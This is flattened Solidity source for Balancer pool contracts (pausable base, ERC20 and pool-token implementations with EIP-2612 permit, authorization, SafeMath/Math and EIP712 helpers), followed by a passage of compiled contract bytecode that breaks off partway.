add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IBasePool.sol"; /** * @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant * to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IMinimalSwapInfoPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) external returns (uint256 amount); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./ITemporarilyPausable.sol"; /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_MINT_TO_ZERO_ADDRESS); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _require(owner != address(0), Errors.ERC20_APPROVE_FROM_ZERO_ADDRESS); _require(spender != address(0), Errors.ERC20_APPROVE_TO_ZERO_ADDRESS); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../lib/math/Math.sol"; import "../lib/openzeppelin/IERC20.sol"; import "../lib/openzeppelin/IERC20Permit.sol"; import "../lib/openzeppelin/EIP712.sol"; /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` */ contract BalancerPoolToken is IERC20, IERC20Permit, EIP712 { using Math for uint256; // State variables uint8 private constant _DECIMALS = 18; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowance; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPE_HASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); // Function declarations constructor(string memory tokenName, string memory tokenSymbol) EIP712(tokenName, "1") { _name = tokenName; _symbol = tokenSymbol; } // External functions function allowance(address owner, address spender) external view override returns (uint256) { return _allowance[owner][spender]; } function balanceOf(address account) external view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) external override returns (bool) { _setAllowance(msg.sender, spender, amount); return true; } function increaseApproval(address spender, uint256 amount) external returns (bool) { _setAllowance(msg.sender, spender, _allowance[msg.sender][spender].add(amount)); return true; } function decreaseApproval(address spender, uint256 amount) external returns (bool) { uint256 currentAllowance = _allowance[msg.sender][spender]; if (amount >= currentAllowance) { _setAllowance(msg.sender, spender, 0); } else { _setAllowance(msg.sender, spender, currentAllowance.sub(amount)); } return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { _move(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowance[sender][msg.sender]; _require(msg.sender == sender || currentAllowance >= amount, Errors.INSUFFICIENT_ALLOWANCE); _move(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _setAllowance(sender, msg.sender, currentAllowance - amount); } return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPE_HASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _setAllowance(owner, spender, value); } // Public functions function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _DECIMALS; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function nonces(address owner) external view override returns (uint256) { return _nonces[owner]; } // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _balance[recipient] = _balance[recipient].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); _balance[sender] = currentBalance - amount; _totalSupply = _totalSupply.sub(amount); emit Transfer(sender, address(0), amount); } function _move( address sender, address recipient, uint256 amount ) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); // Prohibit transfers to the zero address to avoid confusion with the // Transfer event emitted by `_burnPoolTokens` _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _balance[sender] = currentBalance - amount; _balance[recipient] = _balance[recipient].add(amount); emit Transfer(sender, recipient, amount); } // Private functions function _setAllowance( address owner, address spender, uint256 amount ) private { _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../lib/helpers/Authentication.sol"; import "../vault/interfaces/IAuthorizer.sol"; import "./BasePool.sol"; /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) private view returns (bool) { // This implementation hardcodes the setSwapFeePercentage action identifier. return actionId == getActionId(BasePool.setSwapFeePercentage.selector); } function _getAuthorizer() internal view virtual returns (IAuthorizer); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library */ library Math { /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637ecebe001161010f578063a9059cbb116100a2578063d5c096c411610071578063d5c096c4146103e6578063d73dd623146103f9578063dd62ed3e1461040c578063f89f27ed1461041f576101f0565b8063a9059cbb146103b0578063aaabadc5146103c3578063c0ff1a15146103cb578063d505accf146103d3576101f0565b80638d928af8116100de5780638d928af81461038557806395d89b411461038d5780639b02cdde146103955780639d2c110c1461039d576101f0565b80637ecebe0014610337578063851c1bb31461034a57806387ec68171461035d578063893d20e814610370576101f0565b806338e9922e11610187578063661884631161015657806366188463146102e8578063679aefce146102fb57806370a082311461030357806374f3b00914610316576101f0565b806338e9922e146102a457806338fff2d0146102b757806355c67628146102bf5780636028bfd4146102c7576101f0565b80631c0de051116101c35780631c0de0511461025d57806323b872dd14610274578063313ce567146102875780633644e5151461029c576101f0565b806306fdde03146101f5578063095ea7b31461021357806316c38b3c1461023357806318160ddd14610248575b600080fd5b6101fd610434565b60405161020a9190614647565b60405180910390f35b61022661022136600461401c565b6104cb565b60405161020a919061457e565b610246610241366004614113565b6104e2565b005b6102506104f6565b60405161020a91906145a1565b6102656104fc565b60405161020a93929190614589565b610226610282366004613f67565b610525565b61028f6105a8565b60405161020a91906146b3565b6102506105ad565b6102466102b236600461449d565b6105bc565b6102506105d5565b6102506105f9565b6102da6102d536600461414b565b6105ff565b60405161020a92919061469a565b6102266102f636600461401c565b610636565b610250610690565b610250610311366004613f13565b6106bb565b61032961032436600461414b565b6106da565b60405161020a929190614559565b610250610345366004613f13565b61077c565b610250610358366004614248565b610797565b6102da61036b36600461414b565b6107e9565b61037861080f565b60405161020a9190614532565b610378610833565b6101fd610857565b6102506108b8565b6102506103ab3660046143a1565b6108be565b6102266103be36600461401c565b6109a5565b6103786109b2565b6102506109bc565b6102466103e1366004613fa7565b610a80565b6103296103f436600461414b565b610bc9565b61022661040736600461401c565b610cec565b61025061041a366004613f2f565b610d22565b610427610d4d565b60405161020a9190614546565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c05780601f10610495576101008083540402835291602001916104c0565b820191906000526020600020905b8154815290600101906020018083116104a357829003601f168201915b505050505090505b90565b60006104d8338484610d9a565b5060015b92915050565b6104ea610e02565b6104f381610e30565b50565b60025490565b6000806000610509610eae565b159250610514610ecb565b915061051e610eef565b9050909192565b6001600160a01b0383166000818152600160209081526040808320338085529252822054919261056391148061055b5750838210155b610197610f13565b61056e858585610f21565b336001600160a01b0386161480159061058957506000198114155b1561059b5761059b8533858403610d9a565b60019150505b9392505050565b601290565b60006105b7610ff0565b905090565b6105c4610e02565b6105cc61108d565b6104f3816110a2565b7f96ba9025311e2f47b840a1f68ed57a3df1ea874700020000000000000000016090565b60075490565b600060606106158651610610611100565b610d65565b61062a898989898989896111246111ec611252565b97509795505050505050565b3360009081526001602090815260408083206001600160a01b03861684529091528120548083106106725761066d33856000610d9a565b610686565b6106863